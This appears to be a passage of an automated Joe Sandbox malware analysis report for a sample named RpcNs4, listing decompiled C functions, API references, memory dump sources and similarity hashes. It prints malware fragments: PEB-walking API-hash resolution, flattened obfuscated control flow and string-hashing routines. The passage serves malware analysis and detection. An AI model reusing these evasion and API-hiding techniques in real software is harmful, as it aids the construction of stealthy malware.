0x00419923
0x004198f1

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00419B64,?,00000000), ref: 004198E2
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00419B64,?,00000000), ref: 0041990C

Strings

OCP, xrefs: 004198C0
ACP, xrefs: 004198AF

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: cabdbbd5868a657c31b8c1cdf763834c51e0b95cee304dc5e2cd22d40fd77b4c
Instruction ID: c15aaa84b1a0d257b2612772592e480fa80fbb188541d3fbec629ad599b2e7d0
Opcode Fuzzy Hash: cabdbbd5868a657c31b8c1cdf763834c51e0b95cee304dc5e2cd22d40fd77b4c
Instruction Fuzzy Hash: 20018431214216ABDB10AF25DC51FD737A8AF05764B00842BFA08DA250EB68DDC18798

Uniqueness

Uniqueness Score: -1.00%

Function 020B7830, Relevance: 4.0, Strings: 3, Instructions: 252
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E020B7830() {
				char _v520;
				char _v524;
				intOrPtr _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				intOrPtr _v556;
				void* __ebx;
				void* __ebp;
				intOrPtr* _t99;
				intOrPtr* _t101;
				intOrPtr* _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				signed int _t110;
				signed int _t114;
				void* _t116;
				intOrPtr* _t123;
				intOrPtr* _t125;
				intOrPtr _t169;
				intOrPtr* _t172;
				intOrPtr* _t174;
				char _t181;
				short* _t183;
				signed int _t184;
				void* _t185;
				void* _t187;
				signed int* _t188;
				void* _t190;

				_t188 =  &_v552;
				_v548 = 0xeeab;
				_v548 = _v548 | 0x6dce4c9a;
				_v548 = _v548 << 2;
				_v548 = _v548 + 0x198f;
				_v548 = _v548 >> 0x10;
				_v548 = _v548 >> 1;
				_v548 = _v548 ^ 0x80005b9c;
				_v536 = 0x34b4;
				_v536 = _v536 + 0x3c7b;
				_v528 = 0;
				_v536 = _v536 * 0x77;
				_t184 = 0x253dbac1;
				_v536 = _v536 | 0xbcf8f1a3;
				_v536 = _v536 ^ 0xbcfcfdfb;
				_v540 = 0x2009;
				_v540 = _v540 << 0xb;
				_v540 = _v540 * 0x70;
				_v540 = _v540 ^ 0xb744029b;
				_v540 = _v540 >> 5;
				_v540 = _v540 ^ 0x063adc14;
				_v552 = 0xa931;
				_v552 = _v552 >> 7;
				_v552 = _v552 ^ 0xe9d384a4;
				_v552 = _v552 * 0x27;
				_v552 = _v552 >> 0x10;
				_v552 = _v552 ^ 0xb4ee4ed8;
				_v552 = _v552 + 0xe2e0;
				_v552 = _v552 << 0xb;
				_v552 = _v552 ^ 0x7da60802;
				_v532 = 0x8e5f;
				_v532 = _v532 >> 3;
				_v532 = _v532 + 0xfffff8b9;
				_v532 = _v532 ^ 0x00000a84;
				_v544 = 0xd5ba;
				_v544 = _v544 | 0x12ead79f;
				_v544 = _v544 * 8 - _v544;
				_v544 = _v544 >> 0xf;
				_v544 = _v544 | 0xff00e8e0;
				_v544 = _v544 ^ 0xff01e8f6;
				_t181 = _v524;
				while(1) {
					L1:
					_t190 = _t184 - 0x253dbac1;
					if(_t190 > 0) {
						break;
					}
					if(_t190 == 0) {
						_t184 = 0x255e35f7;
						continue;
					} else {
						if(_t184 == 0x14fcf8) {
							_t105 =  *0x20be024;
							if(_t105 == 0) {
								_t105 = E020B3DD0(_t137, E020B3E70(0x60f9cb2), 0x18d8497, _t187);
								 *0x20be024 = _t105;
							}
							 *_t105(_v524);
							return _v532;
						} else {
							if(_t184 == 0x2110e07c) {
								_t109 =  *0x20bdbe8;
								if(_t109 == 0) {
									_t109 = E020B3DD0(_t137, E020B3E70(0xbb51e2dc), 0x7293aecb, _t187);
									 *0x20bdbe8 = _t109;
								}
								_t110 =  *_t109( &_v520);
								_t172 =  *0x20be314;
								_v532 = 2 + _t110 * 2;
								if(_t172 == 0) {
									_t172 = E020B3DD0(_t137, E020B3E70(0x60f9cb2), 0x3564370d, _t187);
									 *0x20be314 = _t172;
								}
								_t114 =  *_t172(_v528, _t181, _v536, _v548,  &_v524, _v532);
								_t184 = 0x14fcf8;
								asm("sbb ebx, ebx");
								_t137 =  ~_t114 + 1;
								_v556 =  ~_t114 + 1;
								continue;
							} else {
								if(_t184 != 0x23c70ed5) {
									L24:
									if(_t184 != 0x197b8a17) {
										continue;
									} else {
										return _v528;
									}
								} else {
									_t183 =  *0x20be368 + 0x14;
									while( *_t183 != 0x5c) {
										_t183 = _t183 + 2;
									}
									_t181 = _t183 + 2;
									_t184 = 0x30e25292;
									continue;
								}
							}
						}
					}
					L36:
				}
				if(_t184 == 0x255e35f7) {
					_t185 = E020B3460(0x20bd9e0);
					_t99 =  *0x20bdf10;
					if(_t99 == 0) {
						_t99 = E020B3DD0(_t137, E020B3E70(0xe60124ba), 0xec538b3a, _t187);
						 *0x20bdf10 = _t99;
					}
					_t169 =  *0x20be368;
					 *_t99( &_v520, 0x104, _t185, _t169 + 0x220, _t169 + 0x14);
					_t101 =  *0x20bddc8;
					_t188 =  &(_t188[5]);
					if(_t101 == 0) {
						_t101 = E020B3DD0(_t137, E020B3E70(0xbb51e2dc), 0x298e8809, _t187);
						 *0x20bddc8 = _t101;
					}
					_t137 =  *_t101();
					_t103 =  *0x20bdbec;
					if(_t103 == 0) {
						_t103 = E020B3DD0(_t137, E020B3E70(0xbb51e2dc), 0x632f374, _t187);
						 *0x20bdbec = _t103;
					}
					 *_t103(_t137, 0, _t185);
					_t184 = 0x23c70ed5;
					goto L1;
				} else {
					if(_t184 == 0x30e25292) {
						_t116 = E020B3460(0x20bda60);
						_t174 =  *0x20be198;
						_t187 = _t116;
						if(_t174 == 0) {
							_t174 = E020B3DD0(_t137, E020B3E70(0x60f9cb2), 0x5a5d94d9, _t187);
							 *0x20be198 = _t174;
						}
						 *_t174(_v548, _t187, _v536, 0, _v540, _v552, 0,  &_v524, 0);
						asm("sbb esi, esi");
						_t123 =  *0x20bddc8;
						_t184 = (_t184 & 0xf86aa99b) + 0x2110e07c;
						if(_t123 == 0) {
							_t123 = E020B3DD0(_t137, E020B3E70(0xbb51e2dc), 0x298e8809, _t187);
							 *0x20bddc8 = _t123;
						}
						_t137 =  *_t123();
						_t125 =  *0x20bdbec;
						if(_t125 == 0) {
							_t125 = E020B3DD0(_t137, E020B3E70(0xbb51e2dc), 0x632f374, _t187);
							 *0x20bdbec = _t125;
						}
						 *_t125(_t137, 0, _t187);
					}
					goto L24;
				}
				goto L36;
			}

0x020b7830
0x020b7836
0x020b7840
0x020b7848
0x020b784d
0x020b7855
0x020b785a
0x020b785e
0x020b7866
0x020b786e
0x020b7876
0x020b7883
0x020b7887
0x020b788c
0x020b7894
0x020b789c
0x020b78a4
0x020b78ae
0x020b78b2
0x020b78ba
0x020b78bf
0x020b78c7
0x020b78cf
0x020b78d4
0x020b78e1
0x020b78e5
0x020b78ea
0x020b78f2
0x020b78fa
0x020b78ff
0x020b7907
0x020b790f
0x020b7914
0x020b791c
0x020b7924
0x020b792c
0x020b7941
0x020b7945
0x020b794a
0x020b7952
0x020b795a
0x020b7960
0x020b7960
0x020b7960
0x020b7966
0x00000000
0x00000000
0x020b796c
0x020b7a42
0x00000000
0x020b7972
0x020b7978
0x020b7be4
0x020b7beb
0x020b7bfe
0x020b7c03
0x020b7c03
0x020b7c0c
0x020b7c1c
0x020b797e
0x020b7984
0x020b79b4
0x020b79bb
0x020b79ce
0x020b79d3
0x020b79d3
0x020b79dd
0x020b79df
0x020b79ec
0x020b79f2
0x020b7a0a
0x020b7a0c
0x020b7a0c
0x020b7a2b
0x020b7a2f
0x020b7a36
0x020b7a38
0x020b7a39
0x00000000
0x020b7986
0x020b798c
0x020b7b1c
0x020b7b22
0x00000000
0x020b7b28
0x020b7b36
0x020b7b36
0x020b7992
0x020b7998
0x020b799f
0x020b79a1
0x020b79a4
0x020b79aa
0x020b79ad
0x00000000
0x020b79ad
0x020b798c
0x020b7984
0x020b7978
0x00000000
0x020b796c
0x020b7a52
0x020b7b41
0x020b7b43
0x020b7b4a
0x020b7b5d
0x020b7b62
0x020b7b62
0x020b7b67
0x020b7b83
0x020b7b85
0x020b7b8a
0x020b7b8f
0x020b7ba2
0x020b7ba7
0x020b7ba7
0x020b7bae
0x020b7bb0
0x020b7bb7
0x020b7bca
0x020b7bcf
0x020b7bcf
0x020b7bd8
0x020b7bda
0x00000000
0x020b7a58
0x020b7a5e
0x020b7a69
0x020b7a6e
0x020b7a74
0x020b7a78
0x020b7a90
0x020b7a92
0x020b7a92
0x020b7ab8
0x020b7abc
0x020b7abe
0x020b7ac9
0x020b7ad1
0x020b7ae4
0x020b7ae9
0x020b7ae9
0x020b7af0
0x020b7af2
0x020b7af9
0x020b7b0c
0x020b7b11
0x020b7b11
0x020b7b1a
0x020b7b1a
0x00000000
0x020b7a5e
0x00000000

Strings

, xrefs: 020B789C
{<, xrefs: 020B786E
7d5, xrefs: 020B79FE

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID:
String ID: $7d5${<
API String ID: 0-4015853822
Opcode ID: 58376f65a474b473c6ec9545e0a2d0a8b06b17f935a7dcd4fb25bac1abb9de03
Instruction ID: c14647d5da84b85d1e2187e028f0c74621464aa62e9c0ed5c814d336ae18cd0a
Opcode Fuzzy Hash: 58376f65a474b473c6ec9545e0a2d0a8b06b17f935a7dcd4fb25bac1abb9de03
Instruction Fuzzy Hash: 7BA1BF32A083018BD36AEF28D485A9BB7E5FFC8344F104D2DE595972A0E774DE059B82

Uniqueness

Uniqueness Score: -1.00%

Function 00406A89, Relevance: 3.1, APIs: 2, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 74%

			E00406A89(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				char _v800;
				signed int _v804;
				intOrPtr _v808;
				char _v812;
				void* __edi;
				signed int _t41;
				char* _t46;
				char* _t48;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t59 = __ebx;
				_t41 =  *0x435040; // 0x4b97bcea
				_t42 = _t41 ^ _t69;
				_v8 = _t41 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00406A64(_t42);
					_pop(_t60);
				}
				_v804 = _v804 & 0x00000000;
				E0040F6A0( &_v800, 0, 0x4c);
				_v812 =  &_v804;
				_t46 =  &_v724;
				_v808 = _t46;
				_v548 = _t46;
				_v552 = _t60;
				_v556 = _t65;
				_v560 = _t59;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t23);
				_v540 = _v0;
				_t48 =  &_v0;
				_v528 = _t48;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t48 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				if(E0040679A( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E00406A64(_t55);
				}
				return E004023FF(_t59, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x00406a89
0x00406a89
0x00406a89
0x00406a92
0x00406a97
0x00406a99
0x00406aa1
0x00406aa3
0x00406aa6
0x00406aab
0x00406aab
0x00406aac
0x00406abe
0x00406acc
0x00406ad2
0x00406ad8
0x00406ade
0x00406ae4
0x00406aea
0x00406af0
0x00406af6
0x00406afc
0x00406b02
0x00406b09
0x00406b10
0x00406b17
0x00406b1e
0x00406b25
0x00406b2c
0x00406b2d
0x00406b36
0x00406b3c
0x00406b3f
0x00406b45
0x00406b52
0x00406b5b
0x00406b64
0x00406b6d
0x00406b79
0x00406b8a
0x00406b96
0x00406b99
0x00406b9e
0x00406bad

APIs

_memset.LIBCMT ref: 00406ABE
IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 00406B73

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: DebuggerPresent_memset
String ID:
API String ID: 2328436684-0
Opcode ID: b70a72b4f163497e440ca814b7d572e363027d5224cdb742048567323022ee29
Instruction ID: 03bba867ec7584826af2704d2d7fde24559ac31e522a02535e9fe237780098ac
Opcode Fuzzy Hash: b70a72b4f163497e440ca814b7d572e363027d5224cdb742048567323022ee29
Instruction Fuzzy Hash: F731D77490122C9BCB21DF29D9887CDB7F8BF08310F5041EAE80DA6291E7349F958F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040679A, Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040679A(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x0040679f
0x004067af

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00406B87,?,?,?,00000000), ref: 0040679F
UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 004067A8

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 78e5cb3a1063dba014e7a4115c8fc41eca54ced023386e6461d12cab8a87066c
Instruction ID: f09599a3a053368f5ed1ce6155b073a79ad54295844724c91f57482f43b814fa
Opcode Fuzzy Hash: 78e5cb3a1063dba014e7a4115c8fc41eca54ced023386e6461d12cab8a87066c
Instruction Fuzzy Hash: 96B0923104820DABEF402FD2EC0DB597F2CEB05652F005020FA0D541618BB25C108A99

Uniqueness

Uniqueness Score: -1.00%

Function 020B3E70, Relevance: 2.6, Strings: 2, Instructions: 94
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E020B3E70(intOrPtr __ecx) {
				signed int _t88;
				signed int _t92;
				intOrPtr* _t95;
				signed short* _t98;
				signed int _t103;
				signed int _t108;
				intOrPtr* _t110;
				void* _t113;

				 *((intOrPtr*)(_t113 + 0xc)) = __ecx;
				_t95 =  *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc;
				 *((intOrPtr*)(_t113 + 0x18)) = _t95;
				_t110 =  *_t95;
				if(_t110 == _t95) {
					L10:
					return 0;
				} else {
					do {
						_t98 =  *(_t110 + 0x30);
						 *(_t113 + 0x14) = 0x92f;
						 *(_t113 + 0x14) =  *(_t113 + 0x14) ^ 0x568b78e1;
						 *(_t113 + 0x14) =  *(_t113 + 0x14) * 0x51;
						 *(_t113 + 0x14) =  *(_t113 + 0x14) << 0xd;
						 *(_t113 + 0x14) =  *(_t113 + 0x14) ^ 0x2b1775dc;
						 *(_t113 + 0x14) =  *(_t113 + 0x14) ^ 0xcb52b5dc;
						 *(_t113 + 0x10) = 0xbeaf;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) >> 2;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) ^ 0x00002fad;
						 *(_t113 + 0x10) = 0x3227;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) + 0x6e31;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) + 0x9f63;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) >> 0xd;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) + 0x30b2;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) ^ 0x24a756b4;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) +  *(_t113 + 0x10) * 8 +  *(_t113 + 0x10) +  *(_t113 + 0x10) * 8;
						 *(_t113 + 0x10) =  *(_t113 + 0x10) ^ 0x93c52d1e;
						if( *_t98 != 0) {
							do {
								_t92 =  *(_t113 + 0x14);
								 *(_t113 + 0x10) = 0xbeaf;
								 *(_t113 + 0x10) =  *(_t113 + 0x10) >> 2;
								 *(_t113 + 0x10) =  *(_t113 + 0x10) ^ 0x00002fad;
								 *(_t113 + 0x10) = 0x3227;
								 *(_t113 + 0x10) =  *(_t113 + 0x10) + 0x6e31;
								 *(_t113 + 0x10) =  *(_t113 + 0x10) + 0x9f63;
								 *(_t113 + 0x10) =  *(_t113 + 0x10) >> 0xd;
								 *(_t113 + 0x10) =  *(_t113 + 0x10) + 0x30b2;
								 *(_t113 + 0x10) =  *(_t113 + 0x10) ^ 0x24a756b4;
								_t85 =  *(_t113 + 0x10);
								_t108 =  *(_t113 + 0x14) << ( *(_t113 + 0x10) & 0x000000ff);
								 *(_t113 + 0x10) =  *(_t113 + 0x10) + _t85 * 8 +  *(_t113 + 0x10) + _t85 * 8;
								 *(_t113 + 0x10) =  *(_t113 + 0x10) ^ 0x93c52d1e;
								_t88 =  *_t98 & 0x0000ffff;
								_t103 =  *(_t113 + 0x14) << ( *(_t113 + 0x10) & 0x000000ff);
								if(_t88 >= 0x41 && _t88 <= 0x5a) {
									_t88 = _t88 + 0x20;
								}
								 *(_t113 + 0x14) = _t88;
								_t98 =  &(_t98[1]);
								 *(_t113 + 0x14) =  *(_t113 + 0x14) + _t108;
								 *(_t113 + 0x14) =  *(_t113 + 0x14) + _t103;
								 *(_t113 + 0x14) =  *(_t113 + 0x14) - _t92;
							} while ( *_t98 != 0);
							_t95 =  *((intOrPtr*)(_t113 + 0x18));
						}
						if(( *(_t113 + 0x14) ^ 0x342f04ae) ==  *((intOrPtr*)(_t113 + 0x1c))) {
							return  *((intOrPtr*)(_t110 + 0x18));
						} else {
							goto L9;
						}
						goto L12;
						L9:
						_t110 =  *_t110;
					} while (_t110 != _t95);
					goto L10;
				}
				L12:
			}

0x020b3e79
0x020b3e82
0x020b3e87
0x020b3e8b
0x020b3e8f
0x020b3fec
0x020b3ff5
0x020b3e95
0x020b3e95
0x020b3e95
0x020b3e98
0x020b3ea0
0x020b3ead
0x020b3eb1
0x020b3eb6
0x020b3ebe
0x020b3ec6
0x020b3ece
0x020b3ed3
0x020b3edb
0x020b3ee3
0x020b3eeb
0x020b3ef3
0x020b3ef8
0x020b3f00
0x020b3f11
0x020b3f15
0x020b3f21
0x020b3f30
0x020b3f30
0x020b3f34
0x020b3f3c
0x020b3f41
0x020b3f52
0x020b3f5a
0x020b3f62
0x020b3f6a
0x020b3f6f
0x020b3f77
0x020b3f7f
0x020b3f83
0x020b3f8a
0x020b3f8e
0x020b3f9f
0x020b3fa2
0x020b3fa7
0x020b3fae
0x020b3fae
0x020b3fb1
0x020b3fb5
0x020b3fb8
0x020b3fbc
0x020b3fc0
0x020b3fc4
0x020b3fce
0x020b3fce
0x020b3fdf
0x020b4000
0x00000000
0x00000000
0x00000000
0x00000000
0x020b3fe1
0x020b3fe1
0x020b3fe4
0x00000000
0x020b3e95
0x00000000

Strings

1n, xrefs: 020B3F5A
/, xrefs: 020B3E98

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID:
String ID: /$1n
API String ID: 0-2879956371
Opcode ID: 7939d8c297189f5e013c3d24d1ec921baf9a268fb97c96f4e6127b2c0bb14832
Instruction ID: af5509e75732f7ca554f6bba6e676a5931c7848eb6340f6621a034668c93e99b
Opcode Fuzzy Hash: 7939d8c297189f5e013c3d24d1ec921baf9a268fb97c96f4e6127b2c0bb14832
Instruction Fuzzy Hash: 8141ECB15093968BD356CF24D48945BBBF4FF80758F000D6EE4A096250E3B8DA4CCBA3

Uniqueness

Uniqueness Score: -1.00%

Function 020B3C90, Relevance: 2.6, Strings: 2, Instructions: 69
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E020B3C90(signed short* __ecx) {
				signed int _v4;
				signed int _v8;
				signed int _t57;
				signed int _t59;
				signed short* _t64;
				signed int _t67;
				signed int _t71;

				_v4 = 0x92f;
				_t64 = __ecx;
				_v4 = _v4 ^ 0x568b78e1;
				_v4 = _v4 * 0x51;
				_v4 = _v4 << 0xd;
				_v4 = _v4 ^ 0x2b1775dc;
				_v4 = _v4 ^ 0xcb52b5dc;
				_v8 = 0xbeaf;
				_v8 = _v8 >> 2;
				_v8 = _v8 ^ 0x00002fad;
				_v8 = 0x3227;
				_v8 = _v8 + 0x6e31;
				_v8 = _v8 + 0x9f63;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 + 0x30b2;
				_v8 = _v8 ^ 0x24a756b4;
				_v8 = _v8 + _v8 * 8 + _v8 + _v8 * 8;
				_v8 = _v8 ^ 0x93c52d1e;
				if( *((short*)(__ecx)) != 0) {
					do {
						_t59 = _v4;
						_v8 = 0xbeaf;
						_v8 = _v8 >> 2;
						_v8 = _v8 ^ 0x00002fad;
						_v8 = 0x3227;
						_v8 = _v8 + 0x6e31;
						_v8 = _v8 + 0x9f63;
						_v8 = _v8 >> 0xd;
						_v8 = _v8 + 0x30b2;
						_v8 = _v8 ^ 0x24a756b4;
						_t54 = _v8;
						_t71 = _v4 << (_v8 & 0x000000ff);
						_v8 = _v8 + _t54 * 8 + _v8 + _t54 * 8;
						_v8 = _v8 ^ 0x93c52d1e;
						_t57 =  *_t64 & 0x0000ffff;
						_t67 = _v4 << (_v8 & 0x000000ff);
						if(_t57 >= 0x41 && _t57 <= 0x5a) {
							_t57 = _t57 + 0x20;
						}
						_v4 = _t57;
						_t64 =  &(_t64[1]);
						_v4 = _v4 + _t71;
						_v4 = _v4 + _t67;
						_v4 = _v4 - _t59;
					} while ( *_t64 != 0);
				}
				return _v4;
			}

0x020b3c93
0x020b3c9b
0x020b3c9d
0x020b3caa
0x020b3cae
0x020b3cb3
0x020b3cbb
0x020b3cc3
0x020b3cca
0x020b3cce
0x020b3cd5
0x020b3cdc
0x020b3ce3
0x020b3cea
0x020b3cee
0x020b3cf5
0x020b3d04
0x020b3d07
0x020b3d12
0x020b3d20
0x020b3d20
0x020b3d24
0x020b3d2c
0x020b3d31
0x020b3d42
0x020b3d4a
0x020b3d52
0x020b3d5a
0x020b3d5f
0x020b3d67
0x020b3d6f
0x020b3d73
0x020b3d7a
0x020b3d7e
0x020b3d8f
0x020b3d92
0x020b3d97
0x020b3d9e
0x020b3d9e
0x020b3da1
0x020b3da5
0x020b3da8
0x020b3dac
0x020b3db0
0x020b3db4
0x020b3dc0
0x020b3dc8

Strings

1n, xrefs: 020B3D4A
/, xrefs: 020B3C93

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID:
String ID: /$1n
API String ID: 0-2879956371
Opcode ID: 00de813c1fa545ac75b8c4c65bee082fb5b78eaa24392c37ee32a18acb2d789e
Instruction ID: 41ede785360dda6eb544d02598d4b712f1aa70939c4b6ad7b94f59a9f2981639
Opcode Fuzzy Hash: 00de813c1fa545ac75b8c4c65bee082fb5b78eaa24392c37ee32a18acb2d789e
Instruction Fuzzy Hash: 6631CBB2908355AFD356DF25D48546ABBF4BF80764F01C86DE4E886250E3B88988DF43

Uniqueness

Uniqueness Score: -1.00%

Function 020B3B50, Relevance: 2.6, Strings: 2, Instructions: 64
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E020B3B50(char* __ecx) {
				signed int _v4;
				signed int _v8;
				char* _t80;

				_v4 = 0x92f;
				_v4 = _v4 ^ 0x568b78e1;
				_t80 = __ecx;
				_v4 = _v4 * 0x51;
				_v4 = _v4 << 0xd;
				_v4 = _v4 ^ 0x2b1775dc;
				_v4 = _v4 ^ 0xcb52b5dc;
				_v8 = 0xbeaf;
				_v8 = _v8 >> 2;
				_v8 = _v8 ^ 0x00002fad;
				_v8 = 0x3227;
				_v8 = _v8 + 0x6e31;
				_v8 = _v8 + 0x9f63;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 + 0x30b2;
				_v8 = _v8 ^ 0x24a756b4;
				_v8 = _v8 + _v8 * 8 + _v8 + _v8 * 8;
				_v8 = _v8 ^ 0x93c52d1e;
				if( *__ecx != 0) {
					do {
						_t80 = _t80 + 1;
						_v8 = 0xbeaf;
						_v8 = _v8 >> 2;
						_v8 = _v8 ^ 0x00002fad;
						_v8 = 0x3227;
						_v8 = _v8 + 0x6e31;
						_v8 = _v8 + 0x9f63;
						_v8 = _v8 >> 0xd;
						_v8 = _v8 + 0x30b2;
						_v8 = _v8 ^ 0x24a756b4;
						_v8 = _v8 + _v8 * 8 + _v8 + _v8 * 8;
						_v8 = _v8 ^ 0x93c52d1e;
						_v4 =  *((char*)(_t80 - 1));
						_v4 = _v4 + (_v4 << (_v8 & 0x000000ff));
						_v4 = _v4 + (_v4 << (_v8 & 0x000000ff));
						_v4 = _v4 - _v4;
					} while ( *_t80 != 0);
				}
				return _v4;
			}

0x020b3b53
0x020b3b5b
0x020b3b69
0x020b3b6b
0x020b3b6f
0x020b3b74
0x020b3b7c
0x020b3b84
0x020b3b8c
0x020b3b91
0x020b3b99
0x020b3ba1
0x020b3ba9
0x020b3bb1
0x020b3bb6
0x020b3bbe
0x020b3bcf
0x020b3bd3
0x020b3bde
0x020b3bf0
0x020b3bf4
0x020b3bf7
0x020b3bff
0x020b3c04
0x020b3c15
0x020b3c1d
0x020b3c25
0x020b3c2d
0x020b3c32
0x020b3c3a
0x020b3c4d
0x020b3c51
0x020b3c66
0x020b3c6a
0x020b3c70
0x020b3c74
0x020b3c78
0x020b3c82
0x020b3c8b

Strings

1n, xrefs: 020B3C1D
1n, xrefs: 020B3BA1

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID:
String ID: 1n$1n
API String ID: 0-3532211146
Opcode ID: a4dd66be0f54f6d9e19ef792fcfe39ac24f3ce6e035d2108b92ceb5d2305b6f5
Instruction ID: 915a8842390d56ca3a85424f2921b53e71ae6c8445e554f5c1e4d5f85c76b5d0
Opcode Fuzzy Hash: a4dd66be0f54f6d9e19ef792fcfe39ac24f3ce6e035d2108b92ceb5d2305b6f5
Instruction Fuzzy Hash: D231DBB140D392AFD756CF24C58955BBBF4AB80B64F00C86DE4A887260D3B8C908DF43

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE0B, Relevance: 1.5, APIs: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E0040FE0B(signed int _a4, intOrPtr _a8, intOrPtr _a12) {
